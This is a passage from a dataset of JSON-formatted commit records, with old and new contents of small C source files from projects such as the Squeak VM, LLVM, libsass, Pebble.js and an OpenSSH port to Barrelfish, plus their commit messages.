remark\n","lang":"C","license":"mpl-2.0","repos":"morinim\/vita,morinim\/vita,morinim\/vita"}
{"commit":"3e2d4b53e966f253342f6a8bc9b4c39f9ebb2d05","old_file":"platforms\/unix\/vm\/sqConfig.h","new_file":"platforms\/unix\/vm\/sqConfig.h","old_contents":"\/* Unix sqConfig.h -- platform identification and configuration *\/\n\n\/* This file has been superseded by autoconf for Unix variants. *\/\n\n#include \"config.h\"\n\n#ifndef UNIX\n# define UNIX\n#endif\n\n#if !defined(LSB_FIRST)\n#error  \"LSB_FIRST is undefined. Used for setting platform endianesness!\"\n#endif\n\n\n#if LSB_FIRST\n# define VMBIGENDIAN 0\n#else\n# define VMBIGENDIAN 1\n#endif\n\n#if defined(__GNUC__)\n\/* Define the \"don't generate functions with register parameters\" attribute\n * for x86 and similar.  Do so for debugging; gdb typically can't call static\n * functions that have been optimized to use register arguments.\n *\/\n# if defined(_M_I386) || defined(_X86_) || defined(i386) || defined(i486) || defined(i586) || defined(i686) || defined(__i386__) || defined(__386__) || defined(X86) || defined(I386)\n\/*#\tdefine PlatformNoDbgRegParms __attribute__ ((regparm (0)))*\/\n# endif\n# define NeverInline __attribute__ ((noinline))\n#endif\n\n#if defined( __clang__)\n# define NeverInline __attribute__ ((noinline))\n#endif\n","new_contents":"\/* Unix sqConfig.h -- platform identification and configuration *\/\n\n\/* This file has been superseded by autoconf for Unix variants. *\/\n\n#include \"config.h\"\n\n#ifndef UNIX\n# define UNIX\n#endif\n\n#if !defined(LSB_FIRST)\n#error  \"LSB_FIRST is undefined. Used for setting platform endianesness!\"\n#endif\n\n\n#if LSB_FIRST\n# define VMBIGENDIAN 0\n#else\n# define VMBIGENDIAN 1\n#endif\n\n#if defined(__GNUC__)\n\/* Define the \"don't generate functions with register parameters\" attribute\n * for x86 and similar.  Do so for debugging; gdb typically can't call static\n * functions that have been optimized to use register arguments.\n *\/\n# if defined(_M_I386) || defined(_X86_) || defined(i386) || defined(i486) || defined(i586) || defined(i686) || defined(__i386__) || defined(__386__) || defined(X86) || defined(I386)\n\/*#\tdefine PlatformNoDbgRegParms __attribute__ ((regparm (0)))*\/\n# endif\n# define NeverInline __attribute__ ((noinline))\n#endif\n\n#if defined( __clang__)\n# define NeverInline __attribute__ ((noinline))\n#endif\n\n\/* Make the gcc\/clang asm keyword available, even when running\n * in standard C mode.\n *\/\n#define asm __asm__","subject":"Make the gcc\/clang asm keyword available, even when running in standard C mode.","message":"Make the gcc\/clang asm keyword available, even when running in standard C mode.\n","lang":"C","license":"mit","repos":"timfel\/squeakvm,timfel\/squeakvm,OpenSmalltalk\/vm,timfel\/squeakvm,OpenSmalltalk\/vm,timfel\/squeakvm,timfel\/squeakvm,timfel\/squeakvm,timfel\/squeakvm,OpenSmalltalk\/vm,timfel\/squeakvm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm"}
{"commit":"dfdb2d3dac4078fb093df46bb6cae8cf8f11b31c","old_file":"src\/serhex\/serhex_api.h","new_file":"src\/serhex\/serhex_api.h","old_contents":"#ifndef _SERHEX_H_\n#define _SERHEX_H_\n\n#include <termios.h> \/\/ POSIX terminal control definitions\n\nint configure_port(int fd, speed_t st);\nint open_port(char *port);\nint send_cmd(char *, uint8_t *, int, uint8_t *);\nint send_cmd_with_delay(char *, uint8_t *, int, uint8_t *, int);\n\n#endif \/* _SERHEX_H_ *\/","new_contents":"#ifndef _SERHEX_H_\n#define _SERHEX_H_\n\n#include <termios.h> \/\/ POSIX terminal control definitions\n#include <stdint.h>\n\nint configure_port(int fd, speed_t st);\nint open_port(char *port);\nint send_cmd(char *, uint8_t *, int, uint8_t *);\nint send_cmd_with_delay(char *, uint8_t *, int, uint8_t *, int);\n\n#endif \/* _SERHEX_H_ *\/\n","subject":"Fix to compile on Debian","message":"Fix to compile on Debian\n\nDebian fails to compile because `serhex_api.h` wasn't using <stdint.h>\n","lang":"C","license":"mit","repos":"RadiusNetworks\/serhex,RadiusNetworks\/serhex"}
{"commit":"579967a7ecedd1df1da5c42094d11ff961e28373","old_file":"test\/FrontendC\/2011-03-18-StructReturn.c","new_file":"test\/FrontendC\/2011-03-18-StructReturn.c","old_contents":"\/\/ R UN: %llvmgcc %s -S -O0 -o - | FileCheck %s\n\/\/ Radar 9156771\ntypedef struct RGBColor {\n  unsigned short red;\n  unsigned short green;\n  unsigned short blue;\n} RGBColor;\n\nRGBColor func();\n\nRGBColor X;\nvoid foo() {\n\/\/CHECK: store i48\n  X = func();\n}\n\n\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -O0 -o - | FileCheck %s\n\/\/ REQUIRES: disabled\n\/\/ Radar 9156771\ntypedef struct RGBColor {\n  unsigned short red;\n  unsigned short green;\n  unsigned short blue;\n} RGBColor;\n\nRGBColor func();\n\nRGBColor X;\nvoid foo() {\n\/\/CHECK: store i48\n  X = func();\n}\n\n\n","subject":"Disable test in a way that keeps lit happy.","message":"Disable test in a way that keeps lit happy.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@127962 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap"}
{"commit":"6c4ff39ac27868ece8135bb48c813d16278e043a","old_file":"engine\/include\/resources\/ResourceCache.h","new_file":"engine\/include\/resources\/ResourceCache.h","old_contents":"\/*\n * Copyright (c) 2017 Lech Kulina\n *\n * This file is part of the Realms Of Steel.\n * For conditions of distribution and use, see copyright details in the LICENSE file.\n *\/\n#ifndef ROS_RESOURCE_CACHE_H\n#define ROS_RESOURCE_CACHE_H\n\n#include <core\/Common.h>\n#include <core\/Environment.h>\n#include <resources\/ArchiveFile.h>\n#include <resources\/ResourceLoader.h>\n\nnamespace ros {\n    class ROS_API ResourceCache : public boost::noncopyable {\n        public:\n            virtual ~ResourceCache() {}\n\n            virtual bool init(const PropertyTree& config);\n            virtual void uninit();\n\n            virtual BufferPtr acquireBuffer(const std::string& name) =0;\n            virtual void releaseBuffer(BufferPtr buffer) =0;\n\n            const std::string& getName() const { return name; }\n            ArchiveFileList& getArchives() { return archives; }\n            ResourceLoaderList& getLoaders() { return loaders; }\n\n        protected:\n            BufferPtr loadBuffer(const std::string& name);\n\n        private:\n            std::string name;\n            ArchiveFileList archives;\n            ResourceLoaderList loaders;\n\n            ArchiveEntryPtr findEntry(const std::string& name);\n            ResourceLoaderPtr findLoader(const std::string& name);\n    };\n\n    typedef boost::shared_ptr<ResourceCache> ResourceCachePtr;\n    typedef Factory<ResourceCache> ResourceCacheFactory;\n    typedef std::list<ResourceCachePtr> ResourceCacheList;\n    typedef std::map<std::string, ResourceCachePtr> ResourceCacheMap;\n}\n\n#endif \/\/ ROS_RESOURCE_CACHE_H\n\n","new_contents":"\/*\n * Copyright (c) 2017 Lech Kulina\n *\n * This file is part of the Realms Of Steel.\n * For conditions of distribution and use, see copyright details in the LICENSE file.\n *\/\n#ifndef ROS_RESOURCE_CACHE_H\n#define ROS_RESOURCE_CACHE_H\n\n#include <core\/Common.h>\n#include <core\/Environment.h>\n#include <resources\/ArchiveFile.h>\n#include <resources\/ResourceLoader.h>\n\nnamespace ros {\n    class ROS_API ResourceCache : public boost::noncopyable {\n        public:\n            virtual ~ResourceCache() {}\n\n            virtual bool init(const PropertyTree& config);\n            virtual void uninit();\n\n            virtual BufferPtr acquireBuffer(const std::string& name) =0;\n            virtual void releaseBuffer(BufferPtr buffer) =0;\n            virtual U32 computeUsedSize() const =0;\n\n            const std::string& getName() const { return name; }\n            ArchiveFileList& getArchives() { return archives; }\n            ResourceLoaderList& getLoaders() { return loaders; }\n\n        protected:\n            BufferPtr loadBuffer(const std::string& name);\n\n        private:\n            std::string name;\n            ArchiveFileList archives;\n            ResourceLoaderList loaders;\n\n            ArchiveEntryPtr findEntry(const std::string& name);\n            ResourceLoaderPtr findLoader(const std::string& name);\n    };\n\n    typedef boost::shared_ptr<ResourceCache> ResourceCachePtr;\n    typedef Factory<ResourceCache> ResourceCacheFactory;\n    typedef std::list<ResourceCachePtr> ResourceCacheList;\n    typedef std::map<std::string, ResourceCachePtr> ResourceCacheMap;\n}\n\n#endif \/\/ ROS_RESOURCE_CACHE_H\n\n","subject":"Add support for computing currently used size in resource caches","message":"Add support for computing currently used size in resource caches\n","lang":"C","license":"apache-2.0","repos":"lechkulina\/RealmsOfSteel,lechkulina\/RealmsOfSteel"}
{"commit":"592c98eefdeaba3bf5d1be29ea497503282abf78","old_file":"src\/shk-trace\/src\/file_descriptor.h","new_file":"src\/shk-trace\/src\/file_descriptor.h","old_contents":"#pragma once\n\n#include <util\/raii_helper.h>\n\nnamespace shk {\nnamespace detail {\n\nvoid closeFd(int fd);\n\n}\n\nusing FileDescriptor = RAIIHelper<int, void, detail::closeFd, -1>;\n\n}  \/\/ namespace shk\n","new_contents":"#pragma once\n\n#include <util\/raii_helper.h>\n\nnamespace shk {\nnamespace detail {\n\nvoid closeFd(int fd);\n\n}  \/\/ namespace detail\n\nusing FileDescriptor = RAIIHelper<int, void, detail::closeFd, -1>;\n\n}  \/\/ namespace shk\n","subject":"Add missing namespace closing comment","message":"Style: Add missing namespace closing comment\n","lang":"C","license":"apache-2.0","repos":"per-gron\/shuriken,per-gron\/shuriken,per-gron\/shuriken,per-gron\/shuriken"}
{"commit":"5e8e82b221e5528aecbd614a26b62259f4254ab1","old_file":"src\/util\/sdk.h","new_file":"src\/util\/sdk.h","old_contents":"#pragma once\n\n#include \"util\/none.h\"\n\n#ifdef PBL_SDK_3\n#define SDK_SELECT(sdk3, sdk2) sdk3\n#elif PBL_SDK_2\n#define SDK_SELECT(sdk3, sdk2) sdk2\n#endif\n","new_contents":"#pragma once\n\n#include \"util\/none.h\"\n\n#ifdef PBL_SDK_3\n#define SDK_SELECT(sdk3, sdk2) sdk3\n#define IF_SDK_3_ELSE(sdk3, other) sdk3\n#define IF_SDK_2_ELSE(sdk2, other) other\n#define SDK_3_USAGE\n#define SDK_2_USAGE __attribute__((unused))\n#elif PBL_SDK_2\n#define SDK_SELECT(sdk3, sdk2) sdk2\n#define IF_SDK_3_ELSE(sdk3, other) other\n#define IF_SDK_2_ELSE(sdk2, other) sdk2\n#define SDK_3_USAGE __attribute__((unused))\n#define SDK_2_USAGE\n#endif\n","subject":"Add SDK IF_ELSE and USAGE macros","message":"Add SDK IF_ELSE and USAGE macros\n","lang":"C","license":"mit","repos":"jsfi\/pebblejs,daduke\/LMSController,sunshineyyy\/CatchOneBus,sunshineyyy\/CatchOneBus,daduke\/LMSController,jiangege\/pebblejs-project,jiangege\/pebblejs-project,sunshineyyy\/CatchOneBus,pebble\/pebblejs,bkbilly\/Tvheadend-EPG,youtux\/PebbleShows,bkbilly\/Tvheadend-EPG,pebble\/pebblejs,youtux\/PebbleShows,fletchto99\/pebblejs,carlo-colombo\/dublin-bus-pebble,jsfi\/pebblejs,carlo-colombo\/dublin-bus-pebble,daduke\/LMSController,bkbilly\/Tvheadend-EPG,carlo-colombo\/dublin-bus-pebble,fletchto99\/pebblejs,pebble\/pebblejs,sunshineyyy\/CatchOneBus,youtux\/PebbleShows,youtux\/PebbleShows,bkbilly\/Tvheadend-EPG,fletchto99\/pebblejs,pebble\/pebblejs,daduke\/LMSController,jsfi\/pebblejs,jsfi\/pebblejs,jiangege\/pebblejs-project,sunshineyyy\/CatchOneBus,daduke\/LMSController,jsfi\/pebblejs,fletchto99\/pebblejs,carlo-colombo\/dublin-bus-pebble,jiangege\/pebblejs-project,jiangege\/pebblejs-project,bkbilly\/Tvheadend-EPG,pebble\/pebblejs,fletchto99\/pebblejs,carlo-colombo\/dublin-bus-pebble"}
{"commit":"080514a81e4b6fba16474516aa84f48039dad111","old_file":"src\/handlers.c","new_file":"src\/handlers.c","old_contents":"#include \"handlers.h\"\n\nvoid warning(void *ctx, const char *msg, ...)\n{\n\tva_list args;\n\n\tva_start(args, msg);\n\tfprintf(stdout, \"SAX.warning()\\n\");\n\tvfprintf(stdout, msg, args);\n\tva_end(args);\n}\n\nvoid error(void *ctx, const char *msg, ...)\n{\n\tva_list args;\n\n\tva_start(args, msg);\n\tfprintf(stdout, \"SAX.error()\\n\");\n\tvfprintf(stdout, msg, args);\n\tva_end(args);\n}\n\nvoid fatal_error(void *ctx, const char *msg, ...)\n{\n\tva_list args;\n\n\tva_start(args, msg);\n\tfprintf(stdout, \"SAX.fatal_error()\\n\");\n\tvfprintf(stdout, msg, args);\n\tva_end(args);\n}\n","new_contents":"#include \"handlers.h\"\n\nvoid warning(void *ctx, const char *msg, ...)\n{\n\tva_list args;\n\n\tva_start(args, msg);\n\tfprintf(stdout, \"SAX.warning()\\n\");\n\tvfprintf(stdout, msg, args);\n\tva_end(args);\n}\n\nvoid error(void *ctx, const char *msg, ...)\n{\n\tva_list args;\n\n\tva_start(args, msg);\n\tfprintf(stdout, \"SAX.error()\\n\");\n\tvfprintf(stdout, msg, args);\n\tva_end(args);\n}\n\nvoid fatal_error(void *ctx, const char *msg, ...)\n{\n\tva_list args;\n\n\tva_start(args, msg);\n\tfprintf(stdout, \"SAX.fatal_error()\\n\");\n\tvfprintf(stdout, msg, args);\n\tva_end(args);\n}\n\nvoid say(void *ctx, const char *tag, const char *msg)\n{\n\tfprintf(stdout, \"[%s] %s\\n\", tag, msg);\n}\n","subject":"Add overridable default message serializer","message":"Add overridable default message serializer\n","lang":"C","license":"bsd-3-clause","repos":"jonforums\/xvalid,jonforums\/xvalid,jonforums\/xvalid"}
{"commit":"bbd6b0230feee05c6efae66c8b98b31ae7bf27cb","old_file":"php_fast_assert.h","new_file":"php_fast_assert.h","old_contents":"#ifndef PHP_FAST_ASSERT_H\n#define PHP_FAST_ASSERT_H\n\n#define PHP_FAST_ASSERT_VERSION \"0.1\"\n#define PHP_FAST_ASSERT_EXTNAME \"fast_assert\"\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\nextern \"C\" {\n#include \"php.h\"\n}\n\ntypedef struct _fast_assert_globals {\n\t\/\/ global object handles pointing to the 3 commonly used assert objects\n\tzend_object_handle invalid_arg_assert_handle;\n\tzend_object_handle unexpected_val_assert_handle;\n\tzend_object_handle logic_exception_assert_handle;\n} fast_assert_globals;\n\n#ifdef ZTS\n#define AssertGlobals(v) TSRMG(fa_globals_id, fast_assert_globals *, v)\nextern int fa_globals_id;\n#else\n#define AssertGlobals(v) (fa_globals.v)\nextern fast_assert_globals fa_globals;\n#endif \/* ZTS *\/\n\nextern zend_module_entry fast_assert_module_entry;\n#define phpext_fast_assert_ptr &fast_assert_module_entry;\n\n#endif \/* PHP_FAST_ASSERT_H *\/\n","new_contents":"#ifndef PHP_FAST_ASSERT_H\n#define PHP_FAST_ASSERT_H\n\n#define PHP_FAST_ASSERT_VERSION \"0.1.1\"\n#define PHP_FAST_ASSERT_EXTNAME \"fast_assert\"\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\nextern \"C\" {\n#include \"php.h\"\n}\n\ntypedef struct _fast_assert_globals {\n\t\/\/ global object handles pointing to the 3 commonly used assert objects\n\tzend_object_handle invalid_arg_assert_handle;\n\tzend_object_handle unexpected_val_assert_handle;\n\tzend_object_handle logic_exception_assert_handle;\n} fast_assert_globals;\n\n#ifdef ZTS\n#define AssertGlobals(v) TSRMG(fa_globals_id, fast_assert_globals *, v)\nextern int fa_globals_id;\n#else\n#define AssertGlobals(v) (fa_globals.v)\nextern fast_assert_globals fa_globals;\n#endif \/* ZTS *\/\n\nextern zend_module_entry fast_assert_module_entry;\n#define phpext_fast_assert_ptr &fast_assert_module_entry;\n\n#endif \/* PHP_FAST_ASSERT_H *\/\n","subject":"Add bugfix version to match package version parity","message":"Add bugfix version to match package version parity\n","lang":"C","license":"apache-2.0","repos":"box\/fast_assert,box\/fast_assert,box\/fast_assert"}
{"commit":"3e5235b6114772606a59e3c3165b2b0f5fa77542","old_file":"mudlib\/mud\/home\/Help\/initd.c","new_file":"mudlib\/mud\/home\/Help\/initd.c","old_contents":"#include <kotaka\/paths.h>\n#include <kotaka\/privilege.h>\n#include <kotaka\/bigstruct.h>\n#include <kotaka\/log.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n\nvoid full_reset()\n{\n\tobject turkeylist;\n\tobject cursor;\n\tobject first;\n\tobject this;\n\n\tACCESS_CHECK(PRIVILEGED());\n\n\tturkeylist = new_object(BIGSTRUCT_DEQUE_LWO);\n\n\tthis = this_object();\n\tcursor = KERNELD->first_link(\"Help\");\n\tfirst = cursor;\n\n\tdo {\n\t\tLOGD->post_message(\"help\", LOG_DEBUG, \"Listing \" + object_name(cursor));\n\t\tturkeylist->push_back(cursor);\n\t\tcursor = KERNELD->next_link(cursor);\n\t} while (cursor != first);\n\n\twhile (!turkeylist->empty()) {\n\t\tobject turkey;\n\n\t\tturkey = turkeylist->get_front();\n\t\tturkeylist->pop_front();\n\n\t\tif (!turkey || turkey == this) {\n\t\t\t\/* don't self destruct or double destruct *\/\n\t\t\tcontinue;\n\t\t}\n\n\t\tdestruct_object(turkey);\n\t}\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n","new_contents":"#include <kotaka\/paths.h>\n#include <kotaka\/privilege.h>\n#include <kotaka\/bigstruct.h>\n#include <kotaka\/log.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n\nvoid full_reset()\n{\n\tobject turkeylist;\n\tobject cursor;\n\tobject first;\n\tobject this;\n\n\tACCESS_CHECK(PRIVILEGED());\n\n\tturkeylist = new_object(BIGSTRUCT_DEQUE_LWO);\n\n\tthis = this_object();\n\tcursor = KERNELD->first_link(\"Help\");\n\tfirst = cursor;\n\n\tdo {\n\t\tturkeylist->push_back(cursor);\n\t\tcursor = KERNELD->next_link(cursor);\n\t} while (cursor != first);\n\n\twhile (!turkeylist->empty()) {\n\t\tobject turkey;\n\n\t\tturkey = turkeylist->get_front();\n\t\tturkeylist->pop_front();\n\n\t\tif (!turkey || turkey == this) {\n\t\t\t\/* don't self destruct or double destruct *\/\n\t\t\tcontinue;\n\t\t}\n\n\t\tdestruct_object(turkey);\n\t}\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n","subject":"Remove now needless debug spam","message":"Remove now needless debug spam\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"1242646506e66a9ee21f40b526a841aa272d3e67","old_file":"src\/settings.h","new_file":"src\/settings.h","old_contents":"#define PIN_GAS_PEDAL A0\n#define PIN_BATTERY_VOLTAGE A1\n\n#define PIN_CW 5\n#define PIN_CCW 6\n\n#define PIN_SWITCH_FORWARDS 12\n#define PIN_SWITCH_BACKWARDS 13\n\n#define GAS_VALUE_MIN 442\n#define GAS_VALUE_MAX 520\n\n#define BATTERY_READING_12V 670\n#define BATTERY_READING_6V 331\n\n#define BATTERY_VOLTAGE_MIN 11\n\n#define SPEED_MIN 0\n#define SPEED_MAX_DIRECTION_CHANGE 15\n#define SPEED_MAX_FORWARDS 255\n#define SPEED_MAX_BACKWARDS 255\n#define SPEED_CHANGE_PACE_DEFAULT 10\n","new_contents":"#define PIN_GAS_PEDAL A0\n#define PIN_BATTERY_VOLTAGE A1\n\n#define PIN_CW 5\n#define PIN_CCW 6\n\n#define PIN_SWITCH_FORWARDS 10\n#define PIN_SWITCH_BACKWARDS 11\n\n#define GAS_VALUE_MIN 446\n#define GAS_VALUE_MAX 510\n\n#define BATTERY_READING_12V 670\n#define BATTERY_READING_6V 331\n\n#define BATTERY_VOLTAGE_MIN 11\n\n#define SPEED_MIN 0\n#define SPEED_MAX_DIRECTION_CHANGE 15\n#define SPEED_MAX_FORWARDS 255\n#define SPEED_MAX_BACKWARDS 142\n#define SPEED_CHANGE_PACE_DEFAULT 10\n","subject":"Adjust Speed min\/max Adjust Gas min\/max Use other Pins for gear forwards\/backwards","message":"Adjust Speed min\/max\nAdjust Gas min\/max\nUse other Pins for gear forwards\/backwards\n","lang":"C","license":"mit","repos":"schinken\/E-KettCar,schinken\/E-KettCar"}
{"commit":"df5cb4a4b68143e4cfe8b7985cb72422d7853df1","old_file":"loop.c","new_file":"loop.c","old_contents":"","new_contents":"#include <stdio.h>\n#include \"sass_interface.h\"\n\nint main(int argc, char** argv)\n{\t\n\tif (argc < 2) {\n\t\tprintf(\"Hey, I need an input file!\\n\");\n\t\treturn 0;\n\t}\n\t\n  while (1) {\n    struct sass_file_context* ctx = sass_new_file_context();\n    ctx->options.include_paths = \"::\/blah\/bloo\/fuzz:\/slub\/flub\/chub::\/Users\/Aaron\/dev\/libsass\/::::\/huzz\/buzz:::\";\n    ctx->options.output_style = SASS_STYLE_NESTED;\n    ctx->input_path = argv[1];\n\n    sass_compile_file(ctx);\n\n    if (ctx->error_status) {\n      if (ctx->error_message) printf(\"%s\", ctx->error_message);\n      else printf(\"An error occured; no error message available.\\n\");\n      break;\n    }\n    else if (ctx->output_string) {\n      continue;\n    }\n    else {\n      printf(\"Unknown internal error.\\n\");\n      break;\n    }\n\n    sass_free_file_context(ctx);\n  }\n\treturn 0;\n}","subject":"Test to see whether or not there are memory leaks.","message":"Test to see whether or not there are memory leaks.\n","lang":"C","license":"mit","repos":"lwdgit\/node-sass,panicinc\/libsass,greyhwndz\/node-sass,panicinc\/libsass,alanhogan\/node-sass,am11\/node-sass,TBAPI-0KA\/NSass,sass\/node-sass,webdev1001\/libsass,panicinc\/libsass,am11\/libsass,glassdimly\/node-sass,gravityrail\/node-sass,cfebs\/node-sass,alanhogan\/node-sass,greyhwndz\/node-sass,sass\/node-sass,nibblebot\/node-sass,pmq20\/node-sass,rodneyrehm\/libsass,Cydrobolt\/node-sass,am11\/libsass,eskygo\/node-sass,technoAri\/libsass,saper\/sassc,greyhwndz\/node-sass,am11\/libsass,TBAPI-0KA\/NSass,saper\/node-sass,cfebs\/node-sass,am11\/sassc,justame\/node-sass,jnbt\/node-sass,ankurp\/node-sass,JohnAlbin\/node-sass,Smartbank\/node-sass,gdi2290\/node-sass,ekskimn\/node-sass,xzyfer\/node-sass,quentinyang\/node-sass,quentinyang\/node-sass,dazld\/node-sass,bigcommerce-labs\/node-sass,xzyfer\/node-sass,technoAri\/libsass,djam90\/sassc,gravityrail\/node-sass,dazld\/node-sass,Cydrobolt\/node-sass,rightisleft\/sassc,jnbt\/node-sass,moovweb\/libsass,gdi2290\/node-sass,xzyfer\/node-sass,eskygo\/node-sass,xzyfer\/node-sass,sass\/node-sass,plora\/node-sass,saper\/libsass,am11\/sassc,moovweb\/libsass,bigcommerce-labs\/node-sass,ankurp\/node-sass,ekskimn\/node-sass,cvibhagool\/node-sass,xzyfer\/node-sass,Vitogee\/node-sass,justame\/node-sass,errorx666\/libsass,ekskimn\/node-sass,nschonni\/node-sass,Smartbank\/node-sass,gdi2290\/node-sass,am11\/libsass,yanickouellet\/node-sass,EdwonLim\/node-sass-china,FeodorFitsner\/node-sass,am11\/node-sass,kylecho\/node-sass,Smartbank\/node-sass,chriseppstein\/node-sass,FeodorFitsner\/node-sass,djam90\/sassc,technoAri\/libsass,TBAPI-0KA\/NSass,saper\/node-sass,chriseppstein\/node-sass,rightisleft\/sassc,sass\/node-sass,am11\/node-sass,alanhogan\/node-sass,technoAri\/libsass,littlepoolshark\/node-sass,dazld\/node-sass,Smartbank\/node-sass,JTKnox91\/node-sass,mtwebster\/mint-libsass,FishingCactus\/libsass,mikebarkas\/libsass,errorx666\/libsass,mikebarkas\/libsass,kylecho\/node-sass,khchanel\/libsass,SomeoneWeird\/node-sass,plora\/node-sass,ankurp\/node-sass,saper\/libsass,rodneyrehm\/libsass,lwdgit\/node-sass,bigcommerce-labs\/node-sass,EdwonLim\/node-sass-china,greyhwndz\/node-sass,deanrather\/node-sass,Smartbank\/node-sass,webdev1001\/libsass,pmq20\/node-sass,chriseppstein\/node-sass,rodneyrehm\/libsass,paulcbetts\/node-sass,moovweb\/libsass,cfebs\/node-sass,besarthoxhaj\/node-sass,JTKnox91\/node-sass,gdi2290\/node-sass,admire93\/libsass-python,paulcbetts\/node-sass,khchanel\/libsass,Vitogee\/node-sass,webdev1001\/libsass,FishingCactus\/libsass,SomeoneWeird\/node-sass,deanrather\/node-sass,xzyfer\/node-sass,gravityrail\/node-sass,nschonni\/node-sass,mtwebster\/mint-libsass,JTKnox91\/node-sass,SomeoneWeird\/node-sass,saper\/libsass,JohnAlbin\/node-sass,alanhogan\/node-sass,quentinyang\/node-sass,besarthoxhaj\/node-sass,pmq20\/node-sass,littlepoolshark\/node-sass,saper\/node-sass,leafo\/sassruby,deanrather\/node-sass,nschonni\/node-sass,sass\/node-sass,nibblebot\/node-sass,glassdimly\/node-sass,djam90\/sassc,nfriedly\/node-sass,paulcbetts\/node-sass,webdev1001\/libsass,am11\/libsass,davejachimiak\/node-sass,glassdimly\/node-sass,saper\/sassc,nschonni\/node-sass,panicinc\/libsass,cfebs\/node-sass,jnbt\/node-sass,TBAPI-0KA\/NSass,mikebarkas\/libsass,yanickouellet\/node-sass,besarthoxhaj\/node-sass,Vitogee\/node-sass,littlepoolshark\/node-sass,rodneyrehm\/libsass,TBAPI-0KA\/NSass,Vitogee\/node-sass,nschonni\/node-sass,xzyfer\/node-sass,nfriedly\/node-sass,khchanel\/libsass,glassdimly\/node-sass,nschonni\/node-sass,FishingCactus\/libsass,nfriedly\/node-sass,davejachimiak\/node-sass,rodneyrehm\/libsass,sass\/node-sass,FishingCactus\/libsass,deanrather\/node-sass,kylecho\/node-sass,sass\/node-sass,admire93\/libsass-python,davejachimiak\/node-sass,EdwonLim\/node-sass-china,panicinc\/libsass,Smartbank\/node-sass,ankurp\/node-sass,kylecho\/node-sass,bigcommerce-labs\/node-sass,sass\/ruby-libsass,saper\/node-sass,eskygo\/node-sass,ekskimn\/node-sass,justame\/node-sass,gravityrail\/node-sass,Smartbank\/node-sass,mikebarkas\/libsass,am11\/sassc,errorx666\/libsass,FeodorFitsner\/node-sass,yanickouellet\/node-sass,chriseppstein\/node-sass,nibblebot\/node-sass,mikebarkas\/libsass,dahlia\/libsass-python,lwdgit\/node-sass,JohnAlbin\/node-sass,FishingCactus\/libsass,am11\/node-sass,TBAPI-0KA\/NSass,khchanel\/libsass,JTKnox91\/node-sass,plora\/node-sass,technoAri\/libsass,cvibhagool\/node-sass,Cydrobolt\/node-sass,saper\/node-sass,Cydrobolt\/node-sass,paulcbetts\/node-sass,moovweb\/libsass,cvibhagool\/node-sass,pmq20\/node-sass,quentinyang\/node-sass,dazld\/node-sass,saper\/sassc,plora\/node-sass,jnbt\/node-sass,dahlia\/libsass-python,mtwebster\/mint-libsass,khchanel\/libsass,justame\/node-sass,webdev1001\/libsass,mtwebster\/mint-libsass,saper\/node-sass,errorx666\/libsass,FeodorFitsner\/node-sass,saper\/libsass,mtwebster\/mint-libsass,nibblebot\/node-sass,cvibhagool\/node-sass,nschonni\/node-sass,saper\/node-sass,lwdgit\/node-sass,rightisleft\/sassc,saper\/libsass"}
{"commit":"1f8fb661a63fed5affba4be75fd1cfdcc9289690","old_file":"usr\/openssh\/src\/version.h","new_file":"usr\/openssh\/src\/version.h","old_contents":"\/* $OpenBSD: version.h,v 1.64 2012\/02\/09 20:00:18 markus Exp $ *\/\n\n#define SSH_VERSION\t\"OpenSSH_6.0\"\n\n#define SSH_PORTABLE\t\"p1\"\n#define SSH_RELEASE\tSSH_VERSION SSH_PORTABLE\n","new_contents":"\/* $OpenBSD: version.h,v 1.64 2012\/02\/09 20:00:18 markus Exp $ *\/\n\n#define SSH_VERSION\t\"OpenSSH_6.0\"\n\n#define SSH_PORTABLE\t\"p1\"\n#define SSH_PORT_NOTE   \"Barrelfish port\"\n#define SSH_RELEASE\tSSH_VERSION SSH_PORTABLE SSH_PORT_NOTE\n","subject":"Change the reported openssh release string to indicate the barrelfish port.","message":"openssh: Change the reported openssh release string to indicate the 